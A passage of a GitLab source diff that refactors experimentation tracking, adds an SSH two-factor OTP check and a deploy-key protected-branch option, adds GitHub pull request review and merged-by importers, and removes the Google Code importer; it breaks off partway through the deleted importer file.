index c6d15d7d82d..c85d3f4eee6 100644
--- a/lib/gitlab/experimentation/controller_concern.rb
+++ b/lib/gitlab/experimentation/controller_concern.rb
@@ -3,7 +3,7 @@
require 'zlib'
# Controller concern that checks if an `experimentation_subject_id cookie` is present and sets it if absent.
-# Used for A/B testing of experimental features. Exposes the `experiment_enabled?(experiment_name)` method
+# Used for A/B testing of experimental features. Exposes the `experiment_enabled?(experiment_name, subject: nil)` method
# to controllers and views. It returns true when the experiment is enabled and the user is selected as part
# of the experimental group.
#
@@ -28,47 +28,56 @@ module Gitlab
}
end
- def push_frontend_experiment(experiment_key)
+ def push_frontend_experiment(experiment_key, subject: nil)
var_name = experiment_key.to_s.camelize(:lower)
- enabled = experiment_enabled?(experiment_key)
+
+ enabled = experiment_enabled?(experiment_key, subject: subject)
gon.push({ experiments: { var_name => enabled } }, true)
end
- def experiment_enabled?(experiment_key)
+ def experiment_enabled?(experiment_key, subject: nil)
+ return true if forced_enabled?(experiment_key)
return false if dnt_enabled?
- return true if Experimentation.enabled_for_value?(experiment_key, experimentation_subject_index(experiment_key))
- return true if forced_enabled?(experiment_key)
+ subject ||= fallback_experimentation_subject_index(experiment_key)
- false
+ Experimentation.in_experiment_group?(experiment_key, subject: subject)
end
- def track_experiment_event(experiment_key, action, value = nil)
+ def track_experiment_event(experiment_key, action, value = nil, subject: nil)
return if dnt_enabled?
- track_experiment_event_for(experiment_key, action, value) do |tracking_data|
+ track_experiment_event_for(experiment_key, action, value, subject: subject) do |tracking_data|
::Gitlab::Tracking.event(tracking_data.delete(:category), tracking_data.delete(:action), **tracking_data)
end
end
- def frontend_experimentation_tracking_data(experiment_key, action, value = nil)
+ def frontend_experimentation_tracking_data(experiment_key, action, value = nil, subject: nil)
return if dnt_enabled?
- track_experiment_event_for(experiment_key, action, value) do |tracking_data|
+ track_experiment_event_for(experiment_key, action, value, subject: subject) do |tracking_data|
gon.push(tracking_data: tracking_data)
end
end
- def record_experiment_user(experiment_key)
+ def record_experiment_user(experiment_key, context = {})
+ return if dnt_enabled?
+ return unless Experimentation.active?(experiment_key) && current_user
+
+ ::Experiment.add_user(experiment_key, tracking_group(experiment_key, nil, subject: current_user), current_user, context)
+ end
+
+ def record_experiment_conversion_event(experiment_key)
return if dnt_enabled?
- return unless Experimentation.enabled?(experiment_key) && current_user
+ return unless current_user
+ return unless Experimentation.active?(experiment_key)
- ::Experiment.add_user(experiment_key, tracking_group(experiment_key), current_user)
+ ::Experiment.record_conversion_event(experiment_key, current_user)
end
- def experiment_tracking_category_and_group(experiment_key)
- "#{tracking_category(experiment_key)}:#{tracking_group(experiment_key, '_group')}"
+ def experiment_tracking_category_and_group(experiment_key, subject: nil)
+ "#{tracking_category(experiment_key)}:#{tracking_group(experiment_key, '_group', subject: subject)}"
end
private
@@ -81,40 +90,41 @@ module Gitlab
cookies.signed[:experimentation_subject_id]
end
- def experimentation_subject_index(experiment_key)
+ def fallback_experimentation_subject_index(experiment_key)
return if experimentation_subject_id.blank?
- if Experimentation.experiment(experiment_key).use_backwards_compatible_subject_index
- experimentation_subject_id.delete('-').hex % 100
+ if Experimentation.get_experiment(experiment_key).use_backwards_compatible_subject_index
+ experimentation_subject_id.delete('-')
else
- Zlib.crc32("#{experiment_key}#{experimentation_subject_id}") % 100
+ experimentation_subject_id
end
end
- def track_experiment_event_for(experiment_key, action, value)
- return unless Experimentation.enabled?(experiment_key)
+ def track_experiment_event_for(experiment_key, action, value, subject: nil)
+ return unless Experimentation.active?(experiment_key)
- yield experimentation_tracking_data(experiment_key, action, value)
+ yield experimentation_tracking_data(experiment_key, action, value, subject: subject)
end
- def experimentation_tracking_data(experiment_key, action, value)
+ def experimentation_tracking_data(experiment_key, action, value, subject: nil)
{
category: tracking_category(experiment_key),
action: action,
- property: tracking_group(experiment_key, "_group"),
- label: experimentation_subject_id,
+ property: tracking_group(experiment_key, "_group", subject: subject),
+ label: tracking_label(subject),
value: value
}.compact
end
def tracking_category(experiment_key)
- Experimentation.experiment(experiment_key).tracking_category
+ Experimentation.get_experiment(experiment_key).tracking_category
end
- def tracking_group(experiment_key, suffix = nil)
- return unless Experimentation.enabled?(experiment_key)
+ def tracking_group(experiment_key, suffix = nil, subject: nil)
+ return unless Experimentation.active?(experiment_key)
- group = experiment_enabled?(experiment_key) ? GROUP_EXPERIMENTAL : GROUP_CONTROL
+ subject ||= fallback_experimentation_subject_index(experiment_key)
+ group = experiment_enabled?(experiment_key, subject: subject) ? GROUP_EXPERIMENTAL : GROUP_CONTROL
suffix ? "#{group}#{suffix}" : group
end
@@ -122,6 +132,16 @@ module Gitlab
def forced_enabled?(experiment_key)
params.has_key?(:force_experiment) && params[:force_experiment] == experiment_key.to_s
end
+
+ def tracking_label(subject)
+ return experimentation_subject_id if subject.blank?
+
+ if subject.respond_to?(:to_global_id)
+ Digest::MD5.hexdigest(subject.to_global_id.to_s)
+ else
+ Digest::MD5.hexdigest(subject.to_s)
+ end
+ end
end
end
end
diff --git a/lib/gitlab/experimentation/experiment.rb b/lib/gitlab/experimentation/experiment.rb
new file mode 100644
index 00000000000..e594c3bedeb
--- /dev/null
+++ b/lib/gitlab/experimentation/experiment.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Experimentation
+ class Experiment
+ attr_reader :key, :tracking_category, :use_backwards_compatible_subject_index
+
+ def initialize(key, **params)
+ @key = key
+ @tracking_category = params[:tracking_category]
+ @use_backwards_compatible_subject_index = params[:use_backwards_compatible_subject_index]
+
+ @experiment_percentage = Feature.get(:"#{key}_experiment_percentage").percentage_of_time_value # rubocop:disable Gitlab/AvoidFeatureGet
+ end
+
+ def active?
+ ::Gitlab.dev_env_or_com? && experiment_percentage > 0
+ end
+
+ def enabled_for_index?(index)
+ return false if index.blank?
+
+ index <= experiment_percentage
+ end
+
+ private
+
+ attr_reader :experiment_percentage
+ end
+ end
+end
diff --git a/lib/gitlab/git.rb b/lib/gitlab/git.rb
index 96f3487fd6f..a2215366bdc 100644
--- a/lib/gitlab/git.rb
+++ b/lib/gitlab/git.rb
@@ -17,6 +17,7 @@ module Gitlab
CommitError = Class.new(BaseError)
OSError = Class.new(BaseError)
UnknownRef = Class.new(BaseError)
+ CommandTimedOut = Class.new(CommandError)
class << self
include Gitlab::EncodingHelper
diff --git a/lib/gitlab/git/diff_collection.rb b/lib/gitlab/git/diff_collection.rb
index 6090d1b9f69..8df4bc3de05 100644
--- a/lib/gitlab/git/diff_collection.rb
+++ b/lib/gitlab/git/diff_collection.rb
@@ -66,6 +66,12 @@ module Gitlab
@iterator = nil
end
+ def sort(&block)
+ @array = @array.sort(&block)
+
+ self
+ end
+
def empty?
any? # Make sure the iterator has been exercised
@empty
diff --git a/lib/gitlab/git/repository.rb b/lib/gitlab/git/repository.rb
index bc712e87e99..f6601379202 100644
--- a/lib/gitlab/git/repository.rb
+++ b/lib/gitlab/git/repository.rb
@@ -467,6 +467,18 @@ module Gitlab
empty_diff_stats
end
+ def find_changed_paths(commits)
+ processed_commits = commits.reject { |ref| ref.blank? || Gitlab::Git.blank_ref?(ref) }
+
+ return [] if processed_commits.empty?
+
+ wrapped_gitaly_errors do
+ gitaly_commit_client.find_changed_paths(processed_commits)
+ end
+ rescue CommandError, TypeError, NoRepository
+ []
+ end
+
# Returns a RefName for a given SHA
def ref_name_for_sha(ref_path, sha)
raise ArgumentError, "sha can't be empty" unless sha.present?
diff --git a/lib/gitlab/git/wraps_gitaly_errors.rb b/lib/gitlab/git/wraps_gitaly_errors.rb
index 9963bcfbf1c..2009683d32c 100644
--- a/lib/gitlab/git/wraps_gitaly_errors.rb
+++ b/lib/gitlab/git/wraps_gitaly_errors.rb
@@ -9,6 +9,8 @@ module Gitlab
raise Gitlab::Git::Repository::NoRepository.new(e)
rescue GRPC::InvalidArgument => e
raise ArgumentError.new(e)
+ rescue GRPC::DeadlineExceeded => e
+ raise Gitlab::Git::CommandTimedOut.new(e)
rescue GRPC::BadStatus => e
raise Gitlab::Git::CommandError.new(e)
end
diff --git a/lib/gitlab/git_access.rb b/lib/gitlab/git_access.rb
index 0576d1dd9db..e0b145f69aa 100644
--- a/lib/gitlab/git_access.rb
+++ b/lib/gitlab/git_access.rb
@@ -43,7 +43,7 @@ module Gitlab
ALL_COMMANDS = DOWNLOAD_COMMANDS + PUSH_COMMANDS
attr_reader :actor, :protocol, :authentication_abilities,
- :namespace_path, :redirected_path, :auth_result_type,
+ :repository_path, :redirected_path, :auth_result_type,
:cmd, :changes
attr_accessor :container
@@ -57,21 +57,16 @@ module Gitlab
raise ArgumentError, "No error message defined for #{key}"
end
- def initialize(actor, container, protocol, authentication_abilities:, namespace_path: nil, repository_path: nil, redirected_path: nil, auth_result_type: nil)
+ def initialize(actor, container, protocol, authentication_abilities:, repository_path: nil, redirected_path: nil, auth_result_type: nil)
@actor = actor
@container = container
@protocol = protocol
@authentication_abilities = Array(authentication_abilities)
- @namespace_path = namespace_path
@repository_path = repository_path
@redirected_path = redirected_path
@auth_result_type = auth_result_type
end
- def repository_path
- @repository_path ||= project&.path
- end
-
def check(cmd, changes)
@changes = changes
@cmd = cmd
@@ -82,6 +77,7 @@ module Gitlab
check_authentication_abilities!
check_command_disabled!
check_command_existence!
+ check_otp_session!
custom_action = check_custom_action
return custom_action if custom_action
@@ -259,6 +255,31 @@ module Gitlab
end
end
+ def check_otp_session!
+ return unless ssh?
+ return if !key? || deploy_key?
+ return unless Feature.enabled?(:two_factor_for_cli)
+ return unless user.two_factor_enabled?
+
+ if ::Gitlab::Auth::Otp::SessionEnforcer.new(actor).access_restricted?
+ message = "OTP verification is required to access the repository.\n\n"\
+ " Use: #{build_ssh_otp_verify_command}"
+
+ raise ForbiddenError, message
+ end
+ end
+
+ def build_ssh_otp_verify_command
+ user = "#{Gitlab.config.gitlab_shell.ssh_user}@" unless Gitlab.config.gitlab_shell.ssh_user.empty?
+ user_host = "#{user}#{Gitlab.config.gitlab_shell.ssh_host}"
+
+ if Gitlab.config.gitlab_shell.ssh_port != 22
+ "ssh #{user_host} -p #{Gitlab.config.gitlab_shell.ssh_port} 2fa_verify"
+ else
+ "ssh #{user_host} 2fa_verify"
+ end
+ end
+
def check_db_accessibility!
return unless receive_pack?
@@ -324,11 +345,11 @@ module Gitlab
end
def check_change_access!
- # Deploy keys with write access can push anything
- return if deploy_key?
+ return if deploy_key? && !deploy_keys_on_protected_branches_enabled?
if changes == ANY
- can_push = user_can_push? ||
+ can_push = (deploy_key? && deploy_keys_on_protected_branches_enabled?) ||
+ user_can_push? ||
project&.any_branch_allows_collaboration?(user_access.user)
unless can_push
@@ -404,6 +425,10 @@ module Gitlab
protocol == 'http'
end
+ def ssh?
+ protocol == 'ssh'
+ end
+
def upload_pack?
cmd == 'git-upload-pack'
end
@@ -454,6 +479,8 @@ module Gitlab
CiAccess.new
elsif user && request_from_ci_build?
BuildAccess.new(user, container: container)
+ elsif deploy_key? && deploy_keys_on_protected_branches_enabled?
+ DeployKeyAccess.new(deploy_key, container: container)
else
UserAccess.new(user, container: container)
end
@@ -531,6 +558,10 @@ module Gitlab
def size_checker
container.repository_size_checker
end
+
+ def deploy_keys_on_protected_branches_enabled?
+ Feature.enabled?(:deploy_keys_on_protected_branches, project)
+ end
end
end
diff --git a/lib/gitlab/git_access_project.rb b/lib/gitlab/git_access_project.rb
index cdefcc84f7d..7e9bab4a8e6 100644
--- a/lib/gitlab/git_access_project.rb
+++ b/lib/gitlab/git_access_project.rb
@@ -35,7 +35,19 @@ module Gitlab
end
def namespace
- @namespace ||= Namespace.find_by_full_path(namespace_path)
+ strong_memoize(:namespace) { Namespace.find_by_full_path(namespace_path) }
+ end
+
+ def namespace_path
+ strong_memoize(:namespace_path) { repository_path_match[:namespace_path] }
+ end
+
+ def project_path
+ strong_memoize(:project_path) { repository_path_match[:project_path] }
+ end
+
+ def repository_path_match
+ strong_memoize(:repository_path_match) { repository_path.match(Gitlab::PathRegex.full_project_git_path_regex) || {} }
end
def ensure_project_on_push!
@@ -44,7 +56,7 @@ module Gitlab
return unless user&.can?(:create_projects, namespace)
project_params = {
- path: repository_path,
+ path: project_path,
namespace_id: namespace.id,
visibility_level: Gitlab::VisibilityLevel::PRIVATE
}
diff --git a/lib/gitlab/git_access_snippet.rb b/lib/gitlab/git_access_snippet.rb
index 710e2ce90ec..854bf6e9c9e 100644
--- a/lib/gitlab/git_access_snippet.rb
+++ b/lib/gitlab/git_access_snippet.rb
@@ -114,7 +114,7 @@ module Gitlab
override :check_single_change_access
def check_single_change_access(change, _skip_lfs_integrity_check: false)
- Checks::SnippetCheck.new(change, default_branch: snippet.default_branch, logger: logger).validate!
+ Checks::SnippetCheck.new(change, default_branch: snippet.default_branch, root_ref: snippet.repository.root_ref, logger: logger).validate!
Checks::PushFileCountCheck.new(change, repository: repository, limit: Snippet.max_file_limit, logger: logger).validate!
rescue Checks::TimedLogger::TimeoutError
raise TimeoutError, logger.full_message
diff --git a/lib/gitlab/gitaly_client/commit_service.rb b/lib/gitlab/gitaly_client/commit_service.rb
index 464d2519b27..599bce176c9 100644
--- a/lib/gitlab/gitaly_client/commit_service.rb
+++ b/lib/gitlab/gitaly_client/commit_service.rb
@@ -216,6 +216,23 @@ module Gitlab
response.flat_map(&:stats)
end
+ def find_changed_paths(commits)
+ request = Gitaly::FindChangedPathsRequest.new(
+ repository: @gitaly_repo,
+ commits: commits
+ )
+
+ response = GitalyClient.call(@repository.storage, :diff_service, :find_changed_paths, request, timeout: GitalyClient.medium_timeout)
+ response.flat_map do |msg|
+ msg.paths.map do |path|
+ OpenStruct.new(
+ status: path.status,
+ path: EncodingHelper.encode!(path.path)
+ )
+ end
+ end
+ end
+
def find_all_commits(opts = {})
request = Gitaly::FindAllCommitsRequest.new(
repository: @gitaly_repo,
diff --git a/lib/gitlab/github_import/client.rb b/lib/gitlab/github_import/client.rb
index dfe60fb5a03..328f1f742c5 100644
--- a/lib/gitlab/github_import/client.rb
+++ b/lib/gitlab/github_import/client.rb
@@ -69,6 +69,10 @@ module Gitlab
with_rate_limit { octokit.user(username) }
end
+ def pull_request_reviews(repo_name, iid)
+ with_rate_limit { octokit.pull_request_reviews(repo_name, iid) }
+ end
+
# Returns the details of a GitHub repository.
#
# name - The path (in the form `owner/repository`) of the repository.
@@ -76,6 +80,10 @@ module Gitlab
with_rate_limit { octokit.repo(name) }
end
+ def pull_request(repo_name, iid)
+ with_rate_limit { octokit.pull_request(repo_name, iid) }
+ end
+
def labels(*args)
each_object(:labels, *args)
end
@@ -155,8 +163,8 @@ module Gitlab
end
end
- def search_repos_by_name(name)
- each_page(:search_repositories, search_query(str: name, type: :name))
+ def search_repos_by_name(name, options = {})
+ octokit.search_repositories(search_query(str: name, type: :name), options)
end
def search_query(str:, type:, include_collaborations: true, include_orgs: true)
diff --git a/lib/gitlab/github_import/importer/lfs_objects_importer.rb b/lib/gitlab/github_import/importer/lfs_objects_importer.rb
index 5980b3c2179..c74a7706117 100644
--- a/lib/gitlab/github_import/importer/lfs_objects_importer.rb
+++ b/lib/gitlab/github_import/importer/lfs_objects_importer.rb
@@ -23,16 +23,13 @@ module Gitlab
end
def each_object_to_import
- lfs_objects = Projects::LfsPointers::LfsImportService.new(project).execute
+ lfs_objects = Projects::LfsPointers::LfsObjectDownloadListService.new(project).execute
lfs_objects.each do |object|
yield object
end
rescue StandardError => e
- Gitlab::Import::Logger.error(
- message: 'The Lfs import process failed',
- error: e.message
- )
+ error(project.id, e)
end
end
end
diff --git a/lib/gitlab/github_import/importer/pull_request_merged_by_importer.rb b/lib/gitlab/github_import/importer/pull_request_merged_by_importer.rb
new file mode 100644
index 00000000000..11181edf0e9
--- /dev/null
+++ b/lib/gitlab/github_import/importer/pull_request_merged_by_importer.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module GithubImport
+ module Importer
+ class PullRequestMergedByImporter
+ def initialize(pull_request, project, client)
+ @project = project
+ @pull_request = pull_request
+ @client = client
+ end
+
+ def execute
+ merge_request = project.merge_requests.find_by_iid(pull_request.iid)
+ user_finder = GithubImport::UserFinder.new(project, client)
+ gitlab_user_id = user_finder.user_id_for(pull_request.merged_by)
+
+ if gitlab_user_id
+ timestamp = Time.new.utc
+ MergeRequest::Metrics.upsert({
+ target_project_id: project.id,
+ merge_request_id: merge_request.id,
+ merged_by_id: gitlab_user_id,
+ created_at: timestamp,
+ updated_at: timestamp
+ }, unique_by: :merge_request_id)
+ else
+ merge_request.notes.create!(
+ importing: true,
+ note: "*Merged by: #{pull_request.merged_by.login}*",
+ author_id: project.creator_id,
+ project: project,
+ created_at: pull_request.created_at
+ )
+ end
+ end
+
+ private
+
+ attr_reader :project, :pull_request, :client
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/github_import/importer/pull_request_review_importer.rb b/lib/gitlab/github_import/importer/pull_request_review_importer.rb
new file mode 100644
index 00000000000..14ee69ba089
--- /dev/null
+++ b/lib/gitlab/github_import/importer/pull_request_review_importer.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module GithubImport
+ module Importer
+ class PullRequestReviewImporter
+ def initialize(review, project, client)
+ @review = review
+ @project = project
+ @client = client
+ @merge_request = project.merge_requests.find_by_id(review.merge_request_id)
+ end
+
+ def execute
+ user_finder = GithubImport::UserFinder.new(project, client)
+ gitlab_user_id = user_finder.user_id_for(review.author)
+
+ if gitlab_user_id
+ add_review_note!(gitlab_user_id)
+ add_approval!(gitlab_user_id)
+ else
+ add_complementary_review_note!(project.creator_id)
+ end
+ end
+
+ private
+
+ attr_reader :review, :merge_request, :project, :client
+
+ def add_review_note!(author_id)
+ return if review.note.empty?
+
+ add_note!(author_id, review_note_content)
+ end
+
+ def add_complementary_review_note!(author_id)
+ return if review.note.empty? && !review.approval?
+
+ note = "*Created by %{login}*\n\n%{note}" % {
+ note: review_note_content,
+ login: review.author.login
+ }
+
+ add_note!(author_id, note)
+ end
+
+ def review_note_content
+ header = "**Review:** #{review.review_type.humanize}"
+
+ if review.note.present?
+ "#{header}\n\n#{review.note}"
+ else
+ header
+ end
+ end
+
+ def add_note!(author_id, note)
+ note = Note.new(note_attributes(author_id, note))
+
+ note.save!
+ end
+
+ def note_attributes(author_id, note, extra = {})
+ {
+ importing: true,
+ noteable_id: merge_request.id,
+ noteable_type: 'MergeRequest',
+ project_id: project.id,
+ author_id: author_id,
+ note: note,
+ system: false,
+ created_at: review.submitted_at,
+ updated_at: review.submitted_at
+ }.merge(extra)
+ end
+
+ def add_approval!(user_id)
+ return unless review.review_type == 'APPROVED'
+
+ add_approval_system_note!(user_id)
+
+ merge_request.approvals.create!(
+ user_id: user_id,
+ created_at: review.submitted_at
+ )
+ end
+
+ def add_approval_system_note!(user_id)
+ attributes = note_attributes(
+ user_id,
+ 'approved this merge request',
+ system: true,
+ system_note_metadata: SystemNoteMetadata.new(action: 'approved')
+ )
+
+ Note.create!(attributes)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/github_import/importer/pull_requests_importer.rb b/lib/gitlab/github_import/importer/pull_requests_importer.rb
index dcae8ca01fa..7f1569f592f 100644
--- a/lib/gitlab/github_import/importer/pull_requests_importer.rb
+++ b/lib/gitlab/github_import/importer/pull_requests_importer.rb
@@ -11,7 +11,7 @@ module Gitlab
end
def representation_class
- Representation::PullRequest
+ Gitlab::GithubImport::Representation::PullRequest
end
def sidekiq_worker_class
diff --git a/lib/gitlab/github_import/importer/pull_requests_merged_by_importer.rb b/lib/gitlab/github_import/importer/pull_requests_merged_by_importer.rb
new file mode 100644
index 00000000000..466288fde4c
--- /dev/null
+++ b/lib/gitlab/github_import/importer/pull_requests_merged_by_importer.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module GithubImport
+ module Importer
+ class PullRequestsMergedByImporter
+ include ParallelScheduling
+
+ def importer_class
+ PullRequestMergedByImporter
+ end
+
+ def representation_class
+ Gitlab::GithubImport::Representation::PullRequest
+ end
+
+ def sidekiq_worker_class
+ ImportPullRequestMergedByWorker
+ end
+
+ def collection_method
+ :pull_requests_merged_by
+ end
+
+ def id_for_already_imported_cache(pr)
+ pr.number
+ end
+
+ def each_object_to_import
+ project.merge_requests.with_state(:merged).find_each do |merge_request|
+ pull_request = client.pull_request(project.import_source, merge_request.iid)
+ yield(pull_request)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/github_import/importer/pull_requests_reviews_importer.rb b/lib/gitlab/github_import/importer/pull_requests_reviews_importer.rb
new file mode 100644
index 00000000000..6d1b588f0e0
--- /dev/null
+++ b/lib/gitlab/github_import/importer/pull_requests_reviews_importer.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module GithubImport
+ module Importer
+ class PullRequestsReviewsImporter
+ include ParallelScheduling
+
+ def importer_class
+ PullRequestReviewImporter
+ end
+
+ def representation_class
+ Gitlab::GithubImport::Representation::PullRequestReview
+ end
+
+ def sidekiq_worker_class
+ ImportPullRequestReviewWorker
+ end
+
+ def collection_method
+ :pull_request_reviews
+ end
+
+ def id_for_already_imported_cache(review)
+ review.github_id
+ end
+
+ def each_object_to_import
+ project.merge_requests.find_each do |merge_request|
+ reviews = client.pull_request_reviews(project.import_source, merge_request.iid)
+ reviews.each do |review|
+ review.merge_request_id = merge_request.id
+ yield(review)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/github_import/parallel_scheduling.rb b/lib/gitlab/github_import/parallel_scheduling.rb
index cabc615ea11..51859010ec3 100644
--- a/lib/gitlab/github_import/parallel_scheduling.rb
+++ b/lib/gitlab/github_import/parallel_scheduling.rb
@@ -26,6 +26,8 @@ module Gitlab
end
def execute
+ info(project.id, message: "starting importer")
+
retval =
if parallel?
parallel_import
@@ -43,8 +45,13 @@ module Gitlab
# completed those jobs will just cycle through any remaining pages while
# not scheduling anything.
Gitlab::Cache::Import::Caching.expire(already_imported_cache_key, 15.minutes.to_i)
+ info(project.id, message: "importer finished")
retval
+ rescue => e
+ error(project.id, e)
+
+ raise e
end
# Imports all the objects in sequence in the current thread.
@@ -157,6 +164,40 @@ module Gitlab
def collection_options
{}
end
+
+ private
+
+ def info(project_id, extra = {})
+ logger.info(log_attributes(project_id, extra))
+ end
+
+ def error(project_id, exception)
+ logger.error(
+ log_attributes(
+ project_id,
+ message: 'importer failed',
+ 'error.message': exception.message
+ )
+ )
+
+ Gitlab::ErrorTracking.track_exception(
+ exception,
+ log_attributes(project_id)
+ )
+ end
+
+ def log_attributes(project_id, extra = {})
+ extra.merge(
+ import_source: :github,
+ project_id: project_id,
+ importer: importer_class.name,
+ parallel: parallel?
+ )
+ end
+
+ def logger
+ @logger ||= Gitlab::Import::Logger.build
+ end
end
end
end
diff --git a/lib/gitlab/github_import/representation/pull_request.rb b/lib/gitlab/github_import/representation/pull_request.rb
index 0ccc4bfaed3..be192762e05 100644
--- a/lib/gitlab/github_import/representation/pull_request.rb
+++ b/lib/gitlab/github_import/representation/pull_request.rb
@@ -13,18 +13,16 @@ module Gitlab
:source_branch_sha, :target_branch, :target_branch_sha,
:milestone_number, :author, :assignee, :created_at,
:updated_at, :merged_at, :source_repository_id,
- :target_repository_id, :source_repository_owner
+ :target_repository_id, :source_repository_owner, :merged_by
# Builds a PR from a GitHub API response.
#
# issue - An instance of `Sawyer::Resource` containing the PR details.
def self.from_api_response(pr)
- assignee =
- if pr.assignee
- Representation::User.from_api_response(pr.assignee)
- end
-
+ assignee = Representation::User.from_api_response(pr.assignee) if pr.assignee
user = Representation::User.from_api_response(pr.user) if pr.user
+ merged_by = Representation::User.from_api_response(pr.merged_by) if pr.merged_by
+
hash = {
iid: pr.number,
title: pr.title,
@@ -42,7 +40,8 @@ module Gitlab
assignee: assignee,
created_at: pr.created_at,
updated_at: pr.updated_at,
- merged_at: pr.merged_at
+ merged_at: pr.merged_at,
+ merged_by: merged_by
}
new(hash)
@@ -57,8 +56,8 @@ module Gitlab
# Assignees are optional so we only convert it from a Hash if one was
# set.
- hash[:assignee] &&= Representation::User
- .from_json_hash(hash[:assignee])
+ hash[:assignee] &&= Representation::User.from_json_hash(hash[:assignee])
+ hash[:merged_by] &&= Representation::User.from_json_hash(hash[:merged_by])
new(hash)
end
diff --git a/lib/gitlab/github_import/representation/pull_request_review.rb b/lib/gitlab/github_import/representation/pull_request_review.rb
new file mode 100644
index 00000000000..3205259a1ed
--- /dev/null
+++ b/lib/gitlab/github_import/representation/pull_request_review.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module GithubImport
+ module Representation
+ class PullRequestReview
+ include ToHash
+ include ExposeAttribute
+
+ attr_reader :attributes
+
+ expose_attribute :author, :note, :review_type, :submitted_at, :github_id, :merge_request_id
+
+ def self.from_api_response(review)
+ user = Representation::User.from_api_response(review.user) if review.user
+
+ new(
+ merge_request_id: review.merge_request_id,
+ author: user,
+ note: review.body,
+ review_type: review.state,
+ submitted_at: review.submitted_at,
+ github_id: review.id
+ )
+ end
+
+ # Builds a new note using a Hash that was built from a JSON payload.
+ def self.from_json_hash(raw_hash)
+ hash = Representation.symbolize_hash(raw_hash)
+
+ hash[:author] &&= Representation::User.from_json_hash(hash[:author])
+ hash[:submitted_at] = Time.parse(hash[:submitted_at]).in_time_zone
+
+ new(hash)
+ end
+
+ # attributes - A Hash containing the raw note details. The keys of this
+ # Hash must be Symbols.
+ def initialize(attributes)
+ @attributes = attributes
+ end
+
+ def approval?
+ review_type == 'APPROVED'
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/gl_repository.rb b/lib/gitlab/gl_repository.rb
index 352a93817be..d123989ef8e 100644
--- a/lib/gitlab/gl_repository.rb
+++ b/lib/gitlab/gl_repository.rb
@@ -20,6 +20,7 @@ module Gitlab
end,
container_class: ProjectWiki,
project_resolver: -> (wiki) { wiki.try(:project) },
+ guest_read_ability: :download_wiki_code,
suffix: :wiki
).freeze
SNIPPET = RepoType.new(
diff --git a/lib/gitlab/gon_helper.rb b/lib/gitlab/gon_helper.rb
index 2d41ad76618..362da8ea53e 100644
--- a/lib/gitlab/gon_helper.rb
+++ b/lib/gitlab/gon_helper.rb
@@ -61,15 +61,15 @@ module Gitlab
def push_frontend_feature_flag(name, *args, **kwargs)
enabled = Feature.enabled?(name, *args, **kwargs)
- push_to_gon_features(name, enabled)
+ push_to_gon_attributes(:features, name, enabled)
end
- def push_to_gon_features(name, enabled)
+ def push_to_gon_attributes(key, name, enabled)
var_name = name.to_s.camelize(:lower)
# Here the `true` argument signals gon that the value should be merged
# into any existing ones, instead of overwriting them. This allows you to
# use this method to push multiple feature flags.
- gon.push({ features: { var_name => enabled } }, true)
+ gon.push({ key => { var_name => enabled } }, true)
end
def default_avatar_url
@@ -83,3 +83,5 @@ module Gitlab
end
end
end
+
+Gitlab::GonHelper.prepend_if_ee('EE::Gitlab::GonHelper')
diff --git a/lib/gitlab/google_code_import/client.rb b/lib/gitlab/google_code_import/client.rb
deleted file mode 100644
index 52d714880b5..00000000000
--- a/lib/gitlab/google_code_import/client.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module GoogleCodeImport
- class Client
- attr_reader :raw_data
-
- def self.mask_email(author)
- parts = author.split("@", 2)
- parts[0] = "#{parts[0][0...-3]}..."
- parts.join("@")
- end
-
- def initialize(raw_data)
- @raw_data = raw_data
- end
-
- def valid?
- raw_data.is_a?(Hash) && raw_data["kind"] == "projecthosting#user" && raw_data.key?("projects")
- end
-
- def repos
- @repos ||= raw_data["projects"].map { |raw_repo| GoogleCodeImport::Repository.new(raw_repo) }.select(&:git?)
- end
-
- def incompatible_repos
- @incompatible_repos ||= raw_data["projects"].map { |raw_repo| GoogleCodeImport::Repository.new(raw_repo) }.reject(&:git?)
- end
-
- def repo(id)
- repos.find { |repo| repo.id == id }
- end
-
- def user_map
- user_map = Hash.new { |hash, user| hash[user] = self.class.mask_email(user) }
-
- repos.each do |repo|
- next unless repo.valid? && repo.issues
-
- repo.issues.each do |raw_issue|
- # Touching is enough to add the entry and masked email.
- user_map[raw_issue["author"]["name"]]
-
- raw_issue["comments"]["items"].each do |raw_comment|
- user_map[raw_comment["author"]["name"]]
- end
- end
- end
-
- Hash[user_map.sort]
- end
- end
- end
-end
diff --git a/lib/gitlab/google_code_import/importer.rb b/lib/gitlab/google_code_import/importer.rb
deleted file mode 100644
index 4da2004b74f..00000000000
--- a/lib/gitlab/google_code_import/importer.rb
+++ /dev/null
@@ -1,373 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module GoogleCodeImport
- class Importer
- attr_reader :project, :repo, :closed_statuses
-
- NICE_LABEL_COLOR_HASH =
- {
- 'Status: New' => '#428bca',
- 'Status: Accepted' => '#5cb85c',
- 'Status: Started' => '#8e44ad',
- 'Priority: Critical' => '#ffcfcf',
- 'Priority: High' => '#deffcf',
- 'Priority: Medium' => '#fff5cc',
- 'Priority: Low' => '#cfe9ff',
- 'Type: Defect' => '#d9534f',
- 'Type: Enhancement' => '#44ad8e',
- 'Type: Task' => '#4b6dd0',
- 'Type: Review' => '#8e44ad',
- 'Type: Other' => '#7f8c8d'
- }.freeze
-
- def initialize(project)
- @project = project
-
- import_data = project.import_data.try(:data)
- repo_data = import_data["repo"] if import_data
- @repo = GoogleCodeImport::Repository.new(repo_data)
-
- @closed_statuses = []
- @known_labels = Set.new
- end
-
- def execute
- return true unless repo.valid?
-
- import_status_labels
-
- import_labels
-
- import_issues
-
- true
- end
-
- private
-
- def user_map
- @user_map ||= begin
- user_map = Hash.new do |hash, user|
